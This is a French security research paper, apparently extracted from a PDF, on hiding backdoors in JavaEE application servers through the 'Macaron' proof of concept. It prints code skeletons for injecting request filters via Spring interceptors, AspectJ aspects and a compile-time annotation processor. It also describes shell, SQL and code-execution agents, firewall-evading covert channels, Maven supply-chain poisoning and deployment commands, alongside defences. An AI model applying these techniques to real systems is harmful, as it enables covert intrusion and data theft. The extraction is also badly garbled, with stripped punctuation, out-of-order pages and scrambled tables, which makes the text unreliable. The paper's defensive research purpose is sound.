Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
